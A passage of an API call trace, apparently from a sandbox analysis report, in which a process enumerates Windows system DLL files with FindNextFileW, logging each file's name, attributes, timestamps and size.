ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0210.119] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0210.120] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0210.121] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0210.122] FindNextFileW (in: 